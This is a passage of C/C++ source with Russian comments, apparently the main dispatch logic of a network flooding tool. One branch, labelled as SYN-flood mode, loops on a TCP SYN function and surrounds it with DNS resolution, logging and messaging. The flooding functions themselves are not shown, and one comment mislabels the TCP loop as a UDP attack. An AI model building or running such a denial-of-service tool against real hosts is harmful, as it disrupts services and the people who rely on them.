else if ( status = = 1 ) // Ошибка DNS-разрешения
{
my_diag ( ) ; // Выводим ошибку
status = my_log ( ) ; // Логируем ошибку
if ( status = = 0 ) // Если лог получилось записать
{
my_fin ( ) ; // Просто завершаем программу
}
else if ( status = = 1 ) // Если лог не удалось записать
{
my_msg ( ) ; // Отправляем сообщение
my_fin ( ) ; // Завершаем программу
}
}
break ;
case 2 : // Режим SYN-флуда (TCP)
// Пытаемся разрешить DNS (если указано доменное имя)
status = my_dns ( ) ;
if ( status = = 0 ) // Если DNS разрешен успешно
{
// Запускаем цикл UDP-атаки
while ( true )
{
status = my_tcp_syn ( ) ;
if ( status = = 2 ) // Код завершения атаки
{
break ;
}
else if ( status < 0 ) // Обработка ошибок
{
my_diag ( ) ; // Выводим диагностику
status = my_log ( ) ; // Пытаемся записать в лог
if ( status = = 1 ) // Если записать лог не удалось
{
my_msg ( ) ; // Отправляем сообщение
}
}
}
// Завершающие действия после атаки
my_log ( ) ; // Логируем завершение
my_msg ( ) ; // Отправляем финальное сообщение
my_fin ( ) ; // Корректно завершаем программу
}
else if ( status = = 1 ) // Ошибка DNS-разрешения
{
my_diag ( ) ; // Выводим ошибку
status = my_log ( ) ; // Логируем ошибку
if ( status = = 0 ) // Если лог получилось записать
{
my_fin ( ) ; // Просто завершаем программу
}
else if ( status = = 1 ) // Если лог не удалось записать
{
my_msg ( ) ; // Отправляем сообщение
my_fin ( ) ; // Завершаем программу
}
}
break ;
case 0 : // Некорректные параметры или запрос справки
case - 1 :
case - 10 :
case - 20 :
case - 101 :
case - 600 :
my_diag ( ) ; // Выводим диагностику
status = my_log ( ) ; // Логируем событие
if ( status = = 0 ) // Без уведомления
{
my_fin ( ) ; // Завершаем программу
}
else if ( status = = 1 ) // С уведомлением
{
my_msg ( ) ; // Отправляем сообщение
my_fin ( ) ; // Завершаем программу
}
break ;
}
return 0 ; // Возвращаем код успешного завершения
}